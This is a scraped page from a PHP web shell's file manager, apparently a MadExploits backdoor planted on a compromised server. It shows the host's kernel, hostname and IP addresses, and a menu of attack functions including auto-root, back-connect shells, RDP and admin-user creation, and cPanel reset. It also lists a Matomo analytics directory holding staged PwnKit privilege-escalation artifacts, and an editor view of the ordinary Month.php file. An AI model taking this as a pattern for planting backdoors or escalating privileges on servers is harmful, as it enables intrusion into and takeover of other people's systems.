Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.221.217.100
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
Period /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Day.php
2.06
KB
-rw-r--r--
Factory.php
7.07
KB
-rw-r--r--
Month.php
2.93
KB
-rw-r--r--
PeriodValidator.php
1.39
KB
-rw-r--r--
Range.php
18.48
KB
-rw-r--r--
Week.php
1.96
KB
-rw-r--r--
Year.php
2.04
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Month.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik\Period; use Piwik\Date; use Piwik\Period; /** */ class Month extends Period { const PERIOD_ID = 3; protected $label = 'month'; /** * Returns the current period as a localized short string * * @return string */ public function getLocalizedShortString() { //"Aug 09" $out = $this->getDateStart()->getLocalized(Date::DATE_FORMAT_MONTH_SHORT); return $out; } /** * Returns the current period as a localized long string * * @return string */ public function getLocalizedLongString() { //"August 2009" $out = $this->getDateStart()->getLocalized(Date::DATE_FORMAT_MONTH_LONG); return $out; } /** * Returns the current period as a string * * @return string */ public function getPrettyString() { $out = $this->getDateStart()->toString('Y-m'); return $out; } /** * Generates the subperiods (one for each day in the month) */ protected function generate() { if ($this->subperiodsProcessed) { return; } parent::generate(); $date = $this->date; $startMonth = $date->setDay(1)->setTime('00:00:00'); $endMonth = $startMonth->addPeriod(1, 'month')->setDay(1)->subDay(1); $this->processOptimalSubperiods($startMonth, $endMonth); } /** * Determine which kind of period is best to use. * See Range.test.php * * @param Date $startDate * @param Date $endDate */ protected function processOptimalSubperiods($startDate, $endDate) { while ($startDate->isEarlier($endDate) || $startDate == $endDate ) { $week = new Week($startDate); $startOfWeek = $week->getDateStart(); $endOfWeek = $week->getDateEnd(); if ($endOfWeek->isLater($endDate)) { $this->fillDayPeriods($startDate, $endDate); } elseif ($startOfWeek == $startDate) { $this->addSubperiod($week); } else { $this->fillDayPeriods($startDate, $endOfWeek); } $startDate = $endOfWeek->addDay(1); } } /** * Fills the periods from startDate to endDate with days * * @param Date $startDate * @param Date $endDate */ private function fillDayPeriods($startDate, $endDate) { while (($startDate->isEarlier($endDate) || $startDate == $endDate)) { $this->addSubperiod(new Day($startDate)); $startDate = $startDate->addDay(1); } } public function getImmediateChildPeriodLabel() { return 'week'; } public function getParentPeriodLabel() { return 'year'; } }
Close